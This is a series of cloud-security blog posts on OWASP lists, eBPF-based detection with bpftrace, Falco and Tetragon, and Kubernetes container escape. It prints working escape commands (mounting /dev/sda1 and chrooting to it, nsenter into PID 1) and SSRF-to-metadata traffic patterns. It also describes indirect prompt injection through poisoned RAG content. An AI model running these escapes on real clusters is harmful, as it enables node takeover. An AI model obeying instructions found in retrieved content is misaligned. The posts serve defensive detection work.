  XSS on frontend → steal session → BOLA on document retrieval

The most dangerous attack paths cross list boundaries. An attacker who injects a prompt (LLM01) that causes an agent to call an API endpoint (API Security Top 10) that has a BOLA vulnerability is exploiting two separate OWASP lists in a single attack chain. Security reviews that only audit against one list miss these compound paths.

⚠ Production Gotchas

Auditing against one list and calling it done
Security teams often run DAST against the web layer and consider the application “OWASP covered.” If the application includes an LLM component, a vector database, and a Kubernetes deployment, the DAST scan covered at most 25% of the attack surface. Multi-list auditing is not a luxury — it’s the correct scope.

Assuming the LLM provider handles LLM security
OpenAI, Anthropic, AWS Bedrock — these providers harden their infrastructure. They do not control how you construct prompts, what you put in your system prompt, how you scope your agent’s tool access, or what you index in your vector store. LLM01 through LLM10 are almost entirely in your application’s scope, not the provider’s.

Treating RAG retrieval as a read-only, safe operation
Retrieval augmented generation adds a retrieval step that fetches content from a vector database to augment the model’s context. That retrieved content is trusted by the model — it treats it as authoritative context, not as potentially hostile user input. If an attacker can control what gets indexed (document upload, web crawl), they can inject instructions into retrieved content that the model will execute. This is LLM08 (Vector/Embedding Weaknesses) combined with LLM01 (indirect prompt injection). It is one of the most exploited compound paths in production LLM systems today.

Quick Reference: Four-List Matrix

Web App (2021) API Security (2023) Cloud-Native LLM Apps (2025)
Surface HTTP/rendered UI REST/GraphQL endpoints K8s/containers Model behavior, RAG, agents
Primary attacker Browser/web client API consumer Cluster access LLM user/document uploader
Top risk Broken access control BOLA/IDOR Misconfigured workloads Prompt injection
Key defense Input validation, RBAC Object-level authz Admission control, network policy Guardrails, output scanning
Primary test tool OWASP ZAP / Burp Postman + custom scripts Trivy, Checkov, kube-bench Garak, PyRIT, Promptfoo
Compliance tie-in PCI DSS, HIPAA API gateway policies CIS K8s Benchmark NIST AI RMF, ISO 42001, EU AI Act

Framework Alignment

Framework Relevant Requirement Connection
NIST AI RMF MAP 1.5 (identify applicable risk categories) Use all four lists to scope the risk surface before mapping to NIST categories
ISO 27001:2022 A.8.25 (secure development lifecycle) Multi-list OWASP coverage maps directly to application security requirements across the SDLC
SOC 2 CC6.1 (logical access controls) BOLA (API list) and broken access control (web app list) are the primary controls relevant to SOC 2 evidence
EU AI Act Art. 9 (risk management) High-risk AI system assessments must address model-layer risks (LLM list) in addition to infrastructure-layer controls

Key Takeaways

  • Four OWASP lists exist in 2025; which one applies depends on which component of your architecture you are assessing — most production LLM systems are in scope for all four
  • The word “injection” appears in all four lists; the technique and the defense are completely different in each
  • RAG-based applications are particularly exposed to compound attack paths that cross list boundaries — a single exploit chain can touch LLM01, LLM08, and API BOLA in sequence
  • Security reviews scoped to one OWASP list on a multi-layer system leave architectural gaps; the attack paths that matter often run between the lists
  • LLM providers handle model infrastructure security; your application’s scope includes everything from how you construct prompts to what you put in the vector store

What’s Next

The next episode is the bridge. Four lists exist, but the LLM list is not just “web app security applied to models.” The three classic OWASP assumptions — deterministic behavior, parseable input, enumerable permissions — break down entirely when the application is a language model. Understanding why changes how you approach everything in Parts II and III.

Why Classic OWASP Breaks Down for LLMs: The New Attack Surface →

Get EP03 in your inbox when it publishes → subscribe

Detection Engineering with eBPF: Kernel-Level Visibility for Cloud Incidents

by
Reading Time: 13 minutes

What is purple team security → OWASP Top 10 mapped to cloud infrastructure → Cloud security breaches 2020–2025 → Broken access control in AWS → MFA fatigue attacks → CI/CD secrets exposure → SSRF to cloud metadata → Kubernetes container escape → Supply chain attack detection → Cloud lateral movement → Detection Engineering with eBPF

TL;DR

  • Detection engineering with eBPF addresses OWASP A09 directly: most process-level attack techniques leave no trace in CloudTrail, VPC Flow Logs, or syslog — eBPF hooks in the kernel observe them before the attacker has any ability to suppress the record
  • CloudTrail is API-plane only; VPC Flow Logs are network-plane only with a 15-minute aggregation delay and no process context; syslog captures only what userspace processes voluntarily emit — all three miss the OS-level attack surface entirely
  • eBPF attaches to kernel syscall tracepoints and kprobes to capture connect(), execve(), mount(), setuid(), and open() with full context: PID, process name, container cgroup, parent process, timestamp — in real time
  • Falco and Tetragon are the production-grade always-on options; bpftrace is the ad-hoc investigation tool — use each for what it is designed for
  • Tetragon’s TracingPolicy can kill a process at the moment of the violating syscall, before the attack completes — this is enforcement, not just alerting
  • Every attack in EP07 through EP10 has a detectable kernel-level signal; this episode maps each one to a concrete eBPF detection rule

OWASP Mapping: A09 Security Logging and Monitoring Failures — the structural gap this series has referenced from EP04 onward: attacks that succeed not because defenses are absent, but because the telemetry layer cannot see the OS surface where the attacks execute.

The Big Picture

┌─────────────────────────────────────────────────────────────────────────┐
│                  DETECTION ENGINEERING WITH eBPF                        │
│                                                                         │
│   KERNEL SPACE                          USERSPACE                       │
│                                                                         │
│   syscall/kprobe hooks                                                  │
│   ┌──────────────────┐                                                  │
│   │ connect()        │──▶ ring buffer ──▶ Tetragon ──▶ Hubble/SIEM     │
│   │ execve()         │                                                  │
│   │ mount()          │──▶ ring buffer ──▶ Falco   ──▶ Slack/PagerDuty │
│   │ setuid()         │                                                  │
│   │ open()           │──▶ perf buffer ──▶ bpftrace ──▶ stdout/log     │
│   └──────────────────┘                                                  │
│          │                                                              │
│          │  Context captured at hook:                                   │
│          │  PID · comm · cgroup (container ID) · args · timestamp      │
│          │  parent PID · network namespace · mount namespace           │
│                                                                         │
│   ═══════════════════════════════════════════════════════════           │
│   WHAT OTHER TOOLS SEE                                                  │
│   CloudTrail:     API calls only — nothing below the AWS SDK            │
│   VPC Flow Logs:  src/dst IP+port only — 15-min delay, no PID          │
│   Syslog:         What the process chose to log — attacker controls it  │
│   eBPF:           Every syscall — attacker cannot suppress it          │
│                   without kernel access                                 │
└─────────────────────────────────────────────────────────────────────────┘

Detection engineering with eBPF closes the observability gap that every previous episode in this series exploited. The SSRF in EP07 made an outbound connection to 169.254.169.254 — the EC2 metadata endpoint — from a web application process. VPC Flow Logs show that IP eventually. CloudTrail shows nothing. eBPF shows the connect() syscall with the PID, the process name, the container cgroup ID, and the timestamp, in the sub-millisecond window it occurred.

The Problem: Your SIEM Has a 15-Minute Hole

During a cloud incident response engagement, the question came up in the first hour: did this process make any outbound connections in the last 30 minutes?

Four telemetry sources, four answers:

CloudTrail: Not applicable. CloudTrail records AWS API calls. A process inside an EC2 instance making a raw TCP connection to an external IP — or to the metadata endpoint — is OS-level activity. CloudTrail has no record of it.

VPC Flow Logs: Maybe, eventually. Flow Logs aggregate at 1-minute or 10-minute intervals (configurable), then land in S3 or CloudWatch Logs with additional delay. In practice, you’re looking at 10–15 minutes before the data is queryable. The flow record contains source IP, destination IP, source port, destination port, protocol, bytes, packets — and nothing else. There is no PID. There is no process name. There is no indication of which container inside the EC2 instance made the connection. If ten pods are running on the same node, VPC Flow Logs tells you the node talked to an external IP. You don’t know which pod.

Syslog: Nothing logged. The process — a compromised web application exploited via SSRF — didn’t log the connection. It wouldn’t. Application code doesn’t emit syslog entries for every outbound connection it makes. And an attacker controlling the process would not add logging.

eBPF TC hook: Every TCP connection attempt, from the moment it entered the network stack, with PID, process name, container cgroup ID, destination IP, destination port, source IP, and timestamp — in real time, with zero delay.

That is the gap. Everything in EP04 through EP10 of this series lived in it.

The OWASP A09 framing is exactly right: these are not failures of detection rules, they are failures of the telemetry layer. You cannot write a SIEM rule for data that is never collected. eBPF collects the data that the other layers structurally cannot.

What eBPF Detects That Other Tools Miss

Technique CloudTrail VPC Flow Logs Syslog eBPF
Process spawn inside container No No Maybe (if auditd configured) Yes — execve(): PID, command, args, parent PID, container cgroup
Outbound TCP connection No IP+port, 15-min delay, no PID No connect(): IP+port+PID+comm+container, real-time
File write to /etc/passwd No No No openat()+write(): exact path, PID, comm, container
Privilege escalation (setuid/setgid) No No Maybe (auditd) Yes — setuid() syscall args: target UID, calling PID, comm
Container escape attempt via mount No No No mount(): args, mount namespace ID, calling PID — namespace mismatch detectable
SSRF to 169.254.169.254 No IP only, 15-min delay No connect() from app process to metadata IP — PID, comm, container, real-time
Binary execution with unusual parent No No No execve(): full parent chain — detects shell spawned from web process
Kubernetes secret file read No No No openat() on /run/secrets/kubernetes.io/serviceaccount/token
STS credential fetch from Lambda No Endpoint IP only No connect() to sts.amazonaws.com from unexpected process

The pattern across the table is consistent: CloudTrail covers the AWS control plane. VPC Flow Logs cover the network plane with delay and no process context. Syslog covers what processes choose to emit. eBPF covers the syscall surface — the layer where every one of these events must pass, regardless of what the attacker wants.

For operators not writing eBPF: This table tells you what your current SIEM can and cannot see. If your threat model includes container escapes, SSRF-to-metadata attacks, or post-compromise lateral movement through process execution, the detection signal for those techniques does not exist in your CloudTrail or your flow logs. It exists only at the kernel level.

Detection Rule 1: Unexpected Outbound from an Application Container

The SSRF attack in EP07 — and the lateral movement in EP10 — both required an outbound TCP connection from a process that had no legitimate reason to make one. This is the detection.

Ad-hoc investigation with bpftrace

When you’re on a node right now and need to know what’s connecting outbound:

# Shows PID, process name, and destination IP in real time
# Run on the node (requires root or CAP_BPF)
bpftrace -e '
#include <linux/socket.h>
#include <linux/in.h>

tracepoint:syscalls:sys_enter_connect {
  $sa = (struct sockaddr_in *)args->uservaddr;
  if ($sa->sin_family == AF_INET) {
    printf("connect: pid=%-6d comm=%-20s dst=%s:%d\n",
           pid,
           comm,
           ntop($sa->sin_addr.s_addr),
           (uint16)bswap($sa->sin_port));
  }
}
'

Sample output — what you’d see during an SSRF exploit targeting the EC2 metadata service:

connect: pid=18422  comm=python3              dst=169.254.169.254:80
connect: pid=18422  comm=python3              dst=169.254.169.254:80
connect: pid=18432  comm=curl                 dst=169.254.169.254:80

The python3 process — your web application — connecting to 169.254.169.254 is the metadata endpoint. That’s not a legitimate application dependency. That’s the SSRF signal.

bpftrace — kernel answers in one line goes deep on the tracepoint/kprobe model and how to filter by cgroup for container-specific traces. The one-liners above are the starting point; that post covers building targeted investigation scripts.

Production-grade enforcement with Tetragon

bpftrace is for investigation. Tetragon is for always-on detection — and optionally, prevention.

# TracingPolicy: alert on outbound connections from non-host network namespaces
# (any container making outbound TCP connections)
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "detect-outbound-connections"
spec:
  kprobes:
  - call: "tcp_connect"
    syscall: false
    args:
    - index: 0
      type: "sock"
    selectors:
    - matchNamespaces:
      - namespace: Net
        operator: NotIn
        values:
        - "host"
      matchActions:
      - action: Post   # Generate an alert event; change to Sigkill to prevent

To detect specifically the SSRF-to-metadata pattern — connections to 169.254.169.254:

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "detect-imds-access"
spec:
  kprobes:
  - call: "tcp_connect"
    syscall: false
    args:
    - index: 0
      type: "sock"
    selectors:
    - matchArgs:
      - index: 0
        operator: "Equal"
        values:
        - "169.254.169.254/32"
      matchActions:
      - action: Post
        rateLimit: "1/minute"

Tetragon events include process_kprobe JSON with the pod name, namespace, container ID, binary path, parent binary, and all arguments. This feeds directly into your SIEM or to Hubble’s flow log.

Detection Rule 2: Process Execution Inside a Container

A shell spawning inside a container that has no business running a shell is a post-compromise indicator. It covers the container escape setup from EP08, the supply chain implant from EP09, and any hands-on-keyboard phase after initial access.

Falco rule: shell spawned from application container

# Falco rule: detect any shell spawned in a container
# Add to /etc/falco/rules.d/purple-team.yaml
- list: shell_binaries
  items: [bash, sh, zsh, ksh, fish, tcsh, csh, dash]

- list: allowed_shell_images
  items: [
    "debug-tools",     # Your approved debug container image names
    "toolbox"
  ]

- rule: Shell Spawned in Container
  desc: >
    A shell was spawned inside a container. In application containers (web servers,
    APIs, data processors) this is almost always a post-compromise indicator.
  condition: >
    evt.type = execve and
    evt.dir = < and
    container and
    container.image.repository != "" and
    proc.name in (shell_binaries) and
    not proc.pname in (shell_binaries) and
    not container.image.repository in (allowed_shell_images) and
    not k8s.ns.name in (kube-system, kube-public)
  output: >
    Shell spawned in container
    (user=%user.name
     container=%container.name
     image=%container.image.repository
     cmd=%proc.cmdline
     parent=%proc.pname
     pod=%k8s.pod.name
     ns=%k8s.ns.name)
  priority: WARNING
  tags: [purple-team, post-compromise, container]

The proc.pname condition is the key signal: a shell spawned by a web server process (nginx, node, gunicorn, java) is a different threat than a shell spawned by another shell in a debug context. The rule above passes the second case through the allowed_shell_images exclusion; it flags the first.

Detecting the supply chain implant pattern

EP09 covered supply chain attacks where a build artifact executes unexpected binaries at runtime. The bpftrace version for ad-hoc investigation of what a specific container is executing:

# bpftrace: trace all execve() calls from processes inside a specific container
# First, find the container's cgroup ID:
# systemd-cgls | grep <pod-name>
# Or: cat /sys/fs/cgroup/unified/<cgroup-path>/cgroup.procs

bpftrace -e '
tracepoint:syscalls:sys_enter_execve {
  printf("execve: pid=%-6d ppid=%-6d comm=%-20s file=%s\n",
         pid,
         curtask->real_parent->tgid,
         comm,
         str(args->filename));
}
' 2>/dev/null | grep -v "^\[" | head -50

Sample output during a supply chain compromise scenario — unexpected binary execution from a package manager implant:

execve: pid=31204  ppid=31190  comm=node                 file=/bin/sh
execve: pid=31205  ppid=31204  comm=sh                   file=/tmp/.x/beacon
execve: pid=31206  ppid=31205  comm=beacon               file=/usr/bin/curl

The chain node → sh → /tmp/.x/beacon → curl — application process spawning a shell, which executes an unknown binary from /tmp, which runs curl — is the supply chain implant execution pattern. None of this appears in CloudTrail.

Detection Rule 3: Privilege Escalation — setuid(0) and Capability Abuse

A process calling setuid(0) to elevate to root, or setcap to acquire new capabilities, is a privilege escalation indicator. The EP08 container escape path used a setuid binary to gain root inside the container as the first step toward escaping the namespace.

bpftrace: catch setuid(0) calls in real time

# bpftrace: alert on any process calling setuid(0)
# Any process attempting to switch to UID 0
bpftrace -e '
tracepoint:syscalls:sys_enter_setuid {
  if (args->uid == 0) {
    printf("ALERT setuid(0): pid=%-6d comm=%-20s ppid=%d pcomm=%s\n",
           pid,
           comm,
           curtask->real_parent->tgid,
           str(curtask->real_parent->comm));
  }
}
tracepoint:syscalls:sys_enter_setresuid {
  if (args->ruid == 0 || args->euid == 0) {
    printf("ALERT setresuid(root): pid=%-6d comm=%-20s\n", pid, comm);
  }
}
'

Falco rule: setuid binary execution inside container

- rule: Setuid Binary Executed in Container
  desc: >
    A setuid binary was executed inside a container. Setuid binaries inside
    containers are a privilege escalation path — they run as root regardless
    of the container's user setting.
  condition: >
    evt.type = execve and
    evt.dir = < and
    container and
    proc.is_suid_exe = true
  output: >
    Setuid binary executed in container
    (binary=%proc.exepath
     user=%user.name
     container=%container.name
     pod=%k8s.pod.name
     cmd=%proc.cmdline)
  priority: ERROR
  tags: [purple-team, privilege-escalation, container]

Detection Rule 4: Container Escape Attempt via Namespace-Crossing Mount

The privileged container escape path from EP08 requires calling mount() from a container namespace to access the host filesystem. The kernel records the mount namespace of the calling process — an eBPF kprobe on mount() can detect when the caller’s mount namespace differs from the host namespace.

Tetragon policy: kill any mount from a non-host namespace

# This covers the --privileged container escape path documented in EP08
# The mount() call that crosses from container namespace to host filesystem
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "detect-container-mount-escape"
spec:
  kprobes:
  - call: "security_sb_mount"
    syscall: false
    args:
    - index: 0
      type: "string"     # dev_name
    - index: 3
      type: "string"     # mount flags
    selectors:
    - matchNamespaces:
      - namespace: Mnt
        operator: NotIn
        values:
        - "host"
      matchArgs:
      - index: 0
        operator: "NotEqual"
        values:
        - "proc"
        - "sysfs"
        - "tmpfs"        # Common legitimate mounts in containers
      matchActions:
      - action: Sigkill
        rateLimit: "10/minute"

Start with action: Post and tune the exclusions for your environment before switching to Sigkill. See the production gotchas below.

bpftrace: ad-hoc namespace crossing investigation

# bpftrace: trace mount() calls and show the mount namespace of the caller
# Mount namespace ID of the host: read from /proc/1/ns/mnt
HOST_MNT_NS=$(readlink /proc/1/ns/mnt | grep -oP '\d+')

bpftrace -e '
#include <linux/nsproxy.h>
#include <linux/mount.h>

kprobe:__x64_sys_mount {
  $nsproxy = (struct nsproxy *)curtask->nsproxy;
  $mnt_ns_id = $nsproxy->mnt_ns->ns.inum;
  printf("mount: pid=%-6d comm=%-20s mnt_ns=%u\n",
         pid, comm, $mnt_ns_id);
}
' 2>/dev/null

Compare the mnt_ns value in output against $HOST_MNT_NS. Any mount call with a mnt_ns value other than the host’s is from inside a container. A privileged container attempting host filesystem access shows a container namespace ID.

Building a Detection Pipeline

Ad-hoc bpftrace commands answer questions during an incident. Always-on detection requires a pipeline that runs continuously, routes alerts to a durable destination, and survives pod restarts. The two production-grade options in this stack:

eBPF hooks
    │
    ├── Tetragon (always-on, Kubernetes-native)
    │       └── TracingPolicy CRDs
    │               └── JSON events → Hubble → Grafana
    │                               → SIEM (Splunk/Elastic)
    │                               → PagerDuty
    │
    └── Falco (rule-based, declarative)
            └── /etc/falco/rules.d/*.yaml
                    └── falcosidekick
                            ├── Slack
                            ├── PagerDuty
                            ├── Elasticsearch
                            └── AWS Lambda (custom response)

The TC eBPF pod-level network policy post covers how Cilium and Tetragon share the same underlying kernel attachment points — understanding TC hooks helps explain why Tetragon’s network-level policies fire at the same layer as Cilium’s NetworkPolicy enforcement.

Falco with falcosidekick: complete local testing setup

Use this to validate your Falco rules before deploying to a cluster. It routes Falco alerts to Slack in real time.

# docker-compose.yml — local Falco + falcosidekick testing
# Requires: Docker with kernel headers or eBPF driver support
version: "3.8"

services:
  falco:
    image: falcosecurity/falco-no-driver:latest
    privileged: true
    volumes:
      - /var/run/docker.sock:/host/var/run/docker.sock
      - /dev:/host/dev
      - /proc:/host/proc:ro
      - /boot:/host/boot:ro
      - /lib/modules:/host/lib/modules:ro
      - /usr:/host/usr:ro
      - /etc/falco:/etc/falco
      - ./rules:/etc/falco/rules.d:ro
    environment:
      FALCO_GRPC_ENABLED: "true"
      FALCO_GRPC_BIND_ADDRESS: "0.0.0.0:5060"
    ports:
      - "5060:5060"
    command: >
      /usr/bin/falco
        --modern-bpf
        -o "json_output=true"
        -o "grpc.enabled=true"
        -o "grpc_output.enabled=true"

  falcosidekick:
    image: falcosecurity/falcosidekick:latest
    depends_on:
      - falco
    environment:
      FALCO_GRPC_CONN: "falco:5060"
      FALCO_GRPC_TLS: "false"
      SLACK_WEBHOOKURL: "${SLACK_WEBHOOK}"
      SLACK_MINIMUMPRIORITY: "warning"
      SLACK_MESSAGEFORMAT: >
        "[{{.Priority}}] {{.Rule}}
        | pod={{.OutputFields.k8s_pod_name}}
        | ns={{.OutputFields.k8s_ns_name}}
        | cmd={{.OutputFields.proc_cmdline}}"
    ports:
      - "2801:2801"

# Start the stack (set SLACK_WEBHOOK first)
export SLACK_WEBHOOK="https://hooks.slack.com/services/YOUR/WEBHOOK/URL"
docker compose up -d

# Trigger a test alert: exec into any running container
docker exec -it <any-container> /bin/sh

# Check falcosidekick received it
curl -s http://localhost:2801/metrics | grep falcosidekick_inputs_total

Deploying Falco to Kubernetes with Helm

# Add Falco Helm repo
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update

# Install Falco with eBPF driver (not kernel module — required in Kubernetes)
helm install falco falcosecurity/falco \
  --namespace falco \
  --create-namespace \
  --set driver.kind=modern_ebpf \
  --set falcosidekick.enabled=true \
  --set falcosidekick.config.slack.webhookurl="${SLACK_WEBHOOK}" \
  --set falcosidekick.config.slack.minimumpriority=warning \
  --set customRules."purple-team\.yaml"="$(cat ./rules/purple-team.yaml)"

# Verify Falco pods are running on all nodes
kubectl get pods -n falco -o wide

# Tail Falco logs for a specific node's pod
kubectl logs -n falco -l app.kubernetes.io/name=falco -f

# Validate a specific rule is loaded
kubectl exec -n falco <falco-pod> -- falco --list-rules 2>/dev/null | grep "Shell Spawned"

What This Means for Each Prior Attack

Every attack in EP07 through EP10 had a detectable kernel-level signal that the standard telemetry stack missed. Here’s the detection mapping:

Episode Attack What Standard Telemetry Missed eBPF Detection Signal
EP07 SSRF to EC2 IMDS CloudTrail: nothing. VPC Flow Logs: 169.254.169.254 destination, 15-min delay, no PID TC kprobe: connect() to 169.254.169.254 from app process — PID, comm, container, real-time
EP08 Container escape via privileged mount CloudTrail: nothing. Syslog: nothing kprobe: security_sb_mount() from non-host mount namespace — namespace ID mismatch fires alert
EP09 Supply chain implant execution CloudTrail: nothing (OS-level). GuardDuty: maybe if beacon calls AWS APIs kprobe: execve() with anomalous parent chain — web process → shell → unknown binary from /tmp
EP10 Lateral movement via cross-account role chaining CloudTrail: AssumeRole events present but no process context TC hook: connect() to sts.amazonaws.com from Lambda handler process — unexpected process identity

The table is not theoretical. It reflects what you would actually observe running these detection rules against the attack simulations in those episodes.

For the SSRF case (EP07): the connection to 169.254.169.254 from the web application process would fire within milliseconds of the exploit. VPC Flow Logs would record the same IP 10–15 minutes later, with no information about which process made it. By the time the flow log is queryable, the attacker has the IAM credentials and may have made subsequent API calls in a different region.

For the container escape (EP08): the mount() from a non-host mount namespace is the earliest detectable signal of the escape attempt. It fires before the attacker has host filesystem access. With action: Sigkill in the Tetragon policy, the process is terminated at this syscall — the escape does not complete.

⚠ Production Gotchas

Use the eBPF driver for Falco in Kubernetes, not the kernel module. The kernel module requires installing a kernel module on every node, which creates a dependency on kernel headers being present and compatible. The modern_ebpf driver (Falco 0.35+) uses BTF and CO-RE — it works on kernels 5.8+ without kernel module installation and survives kernel upgrades. In managed Kubernetes (EKS, GKE, AKS), the kernel module path often doesn’t work at all due to the OS image restrictions.

Test Tetragon’s Sigkill action exhaustively before enabling it in production. The Sigkill action terminates the process at the moment of the violating syscall — before it completes. This is powerful for prevention but catastrophic if your exclusions are wrong. Common false positive sources: debug containers (kubectl debug), init containers that perform legitimate mounts, Kubernetes admission webhooks calling shell scripts. Always deploy with action: Post first, tune for two weeks of normal traffic, then switch to Sigkill only on rules with zero false positives in your environment.

bpftrace is an investigation tool, not a production detector. bpftrace compiles and loads an eBPF program per invocation — it has no persistence, no alerting, and no output routing to your SIEM. It is for the incident response scenario described in the opening: “did this process make outbound connections in the last 30 minutes?” (answered: it’s what’s happening right now). For always-on detection, use Tetragon or Falco. Running bpftrace as a daemon substitute introduces overhead without the management plane that production tools provide.

The shell-in-container rule will fire on kubectl exec sessions. Any time an operator runs kubectl exec -it <pod> -- /bin/bash, the Falco rule above triggers. This is working as intended — kubectl exec is a post-compromise technique as well as an operational tool. Handle this with an exclusion on the user identity or namespace:

# Add to the rule condition to exclude operator kubectl exec sessions
# Map your cluster admin users or service account here
and not user.name in (cluster-admin-users)
and not k8s.ns.name in (ops-tooling, debug-ns)

High-frequency kprobes on hot paths add measurable overhead. Attaching to tcp_connect fires on every outbound connection from every process on the node. On a node handling hundreds of microservices with high connection rates (service mesh with short-lived connections), this adds CPU overhead. Profile before deploying. Tetragon’s namespace-scoped selectors (matchNamespaces: NotHost) help by skipping host-namespace processes. Filter as narrowly as your threat model allows.

Ring buffer overflow silently drops events on high-throughput nodes. Both Falco and bpftrace use kernel ring buffers to pass events to userspace. If the userspace consumer (the Falco daemon, the bpftrace process) cannot keep up with the event rate, the kernel drops events silently. Falco exposes a falco_events_dropped_total metric — monitor it. Tune ring_buffer_size in the Falco configuration if drops occur on high-throughput nodes.

Quick Reference

Use Case Tool Hook Type Detection Latency
Ad-hoc outbound connection investigation bpftrace tracepoint:syscalls:sys_enter_connect Real-time
Always-on container shell detection Falco eBPF modern driver / syscall < 100ms
Container escape prevention Tetragon + Sigkill kprobe: security_sb_mount Blocking (pre-completion)
Privilege escalation detection Falco / bpftrace tracepoint:syscalls:sys_enter_setuid Real-time
Supply chain implant execution Falco execve rule eBPF modern driver < 100ms
SSRF-to-metadata detection Tetragon kprobe kprobe: tcp_connect Real-time
Lateral movement via unexpected STS call Tetragon kprobe kprobe: tcp_connect + process filter Real-time
Audit trail for incident response Tetragon JSON events kprobe / tracepoint Persistent, SIEM-routable
Tool Best For Not For
bpftrace Ad-hoc node investigation during IR Always-on production detection
Falco Rule-based behavioral detection Network-layer enforcement
Tetragon Always-on detection + optional enforcement Ad-hoc one-liner investigation

Key Takeaways

  • Detection engineering with eBPF closes the telemetry gap that CloudTrail, VPC Flow Logs, and syslog cannot close: OS-level process activity is only visible at the kernel syscall layer, and eBPF is the only production-grade mechanism that reads it without kernel module risk
  • Every attack in EP07 through EP10 has a real-time kernel-level signal — SSRF connections, container mount calls, unexpected execve chains, privilege escalation attempts — none of which appear in your current SIEM unless you’ve built this layer
  • Falco provides declarative, rule-based behavioral detection; Tetragon provides syscall-level enforcement that can terminate an attack before it completes — use both with complementary scopes
  • bpftrace is the incident response tool for asking the kernel a direct question right now; it is not a monitoring agent and should not be treated as one
  • The false positive problem is real and must be addressed before enabling enforcement: kubectl exec, debug containers, init containers with legitimate mounts — exclusions must be tuned per environment before moving from action: Post to action: Sigkill

What’s Next

EP11 closed the detection gap. You’ve instrumented the kernel, you’re receiving Falco alerts, Tetragon is firing on namespace-crossing mount attempts. Then the alert fires at 2:47 AM on a Sunday — not a test, not a false positive. Something got in.

EP12 is the playbook for the first 24 hours after a confirmed cloud breach: what to isolate and how without destroying forensic evidence, what to preserve before it rotates out of CloudTrail’s 90-day window, what eBPF data to capture while the node is still live, who to call and in what order, and how to avoid the common mistakes that turn a containable incident into a regulatory event. The response phase — where everything you built in EP04 through EP11 either pays off or reveals what you missed.

Get EP12 in your inbox when it publishes → subscribe at linuxcent.com

Kubernetes Container Escape: Attack Paths and eBPF Detection

by
Reading Time: 17 minutes

What is purple team security → OWASP Top 10 mapped to cloud infrastructure → Cloud security breaches 2020–2025 → Broken access control in AWS → MFA fatigue attacks → CI/CD secrets exposure → SSRF to cloud metadata → Kubernetes Container Escape

TL;DR

  • Kubernetes container escape is OWASP A04 + A05: a container deployed with --privileged, hostPID, or hostNetwork is not meaningfully isolated from the host — two commands can produce a root shell on the node
  • The kernel does not enforce Kubernetes namespace semantics. Container isolation comes from Linux namespaces, cgroups, and seccomp. --privileged removes those boundaries — the kernel sees no difference between the container and the host
  • Three primary escape paths: privileged container with host device access, hostPID + nsenter, and runc CVEs (CVE-2019-5736) that allow a malicious container to overwrite the runc binary during exec
  • Detection requires kernel-level visibility: Falco fires on privilege container exec; Tetragon traces nsenter and mount syscalls at the point of the kernel hook, not a process name check that can be evaded
  • The structural fix is PodSecurity admission enforcing the Restricted profile at the namespace level — policy that blocks --privileged, hostPID, hostNetwork, and mounts before a pod ever schedules
  • Network policy as a secondary layer: even if a container escapes to the node, a network policy that blocks the escaped process from reaching the Kubernetes API server limits lateral movement to the cluster control plane

OWASP Mapping: A04 Insecure Design — --privileged placed in production workloads because the development environment never enforced boundaries. A05 Security Misconfiguration — absence of PodSecurity admission, RuntimeClass, and seccomp profiles.

The Big Picture

┌─────────────────────────────────────────────────────────────────────────┐
│              KUBERNETES CONTAINER ESCAPE — ATTACK SURFACE               │
│                                                                         │
│  ┌──────────────────────────────────────────────────────────────┐       │
│  │                     KUBERNETES NODE                          │       │
│  │                                                              │       │
│  │  ┌───────────────────────────────────────────────────────┐   │       │
│  │  │  Container (--privileged)                             │   │       │
│  │  │                                                       │   │       │
│  │  │  web app ──▶ exploit ──▶ shell in container          │   │       │
│  │  │                           │                           │   │       │
│  │  │  PATH 1: mount /dev/sda1  │                           │   │       │
│  │  │  ──────────────────────── ▼                           │   │       │
│  │  │  chroot /mnt/host → root shell on node                │   │       │
│  │  └───────────────────────────────────────────────────────┘   │       │
│  │                                                              │       │
│  │  ┌───────────────────────────────────────────────────────┐   │       │
│  │  │  Container (hostPID=true)                             │   │       │
│  │  │                                                       │   │       │
│  │  │  PATH 2: nsenter -t 1 -m -u -i -n -p -- bash         │   │       │
│  │  │  ─────────────────────────────────────────────────▶   │   │       │
│  │  │           root shell in host PID 1 namespaces         │   │       │
│  │  └───────────────────────────────────────────────────────┘   │       │
│  │                                                              │       │
│  │  ┌───────────────────────────────────────────────────────┐   │       │
│  │  │  Container (runc CVE)                                 │   │       │
│  │  │                                                       │   │       │
│  │  │  PATH 3: overwrite /proc/self/exe during runc exec    │   │       │
│  │  │  ─────────────────────────────────────────────────▶   │   │       │
│  │  │           arbitrary code execution as root on node    │   │       │
│  │  └───────────────────────────────────────────────────────┘   │       │
│  │                                                              │       │
│  │  Node root → kubectl access → cluster-admin via node creds  │       │
│  └──────────────────────────────────────────────────────────────┘       │
│                                                                         │
│  DETECTION LAYER        │  STRUCTURAL FIX                               │
│  Falco / Tetragon       │  PodSecurity Restricted                       │
│  mount syscall hooks    │  RuntimeClass (gVisor/Kata)                   │
│  audit logs             │  Seccomp + no-new-privileges                  │
└─────────────────────────────────────────────────────────────────────────┘

Kubernetes container escape is the point where a compromised application pod becomes a compromised Kubernetes node — and from a node, an attacker reaches the kubelet credential, the node’s service account, and often a path to cluster-admin. The boundary between container and host is not the Kubernetes API. It is Linux namespaces, cgroups, and seccomp. When you remove those with --privileged, you remove the boundary.

The Incident: –privileged “Just for Debugging”

A networking issue in staging. The developer can’t get the CNI tracing they need from inside the normal container. Someone adds --privileged: true to the pod spec to expose /sys/class/net and the raw packet socket. The PR merges. The staging deployment works. The --privileged flag stays in the manifest when staging gets promoted to production.

Six months later, the web application running in that pod has an RCE vulnerability. The attacker gets a shell.

Inside the container, two commands:

mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash

Root on the node. Not escalation through a kernel exploit. Not a zero-day. Just mounting the device that was always accessible because --privileged was set.

The node has a kubelet credential and a service account token with broader permissions than the compromised application ever needed. From the node, lateral movement into the cluster control plane is a matter of using credentials that are already there.

This is A04 (Insecure Design) and A05 (Security Misconfiguration) combined: the design didn’t account for what happens when the boundary is removed, and no enforcement mechanism prevented the configuration from reaching production.

Why the Kernel Doesn’t Know About Kubernetes

Kubernetes namespaces are a scheduler and API concept. When you create a Kubernetes namespace and apply RBAC to it, you are controlling what the Kubernetes API server will accept — you are not creating a kernel isolation boundary between workloads in different namespaces.

Kernel isolation comes from:

Linux namespaces (PID, net, mount, IPC, UTS, user)
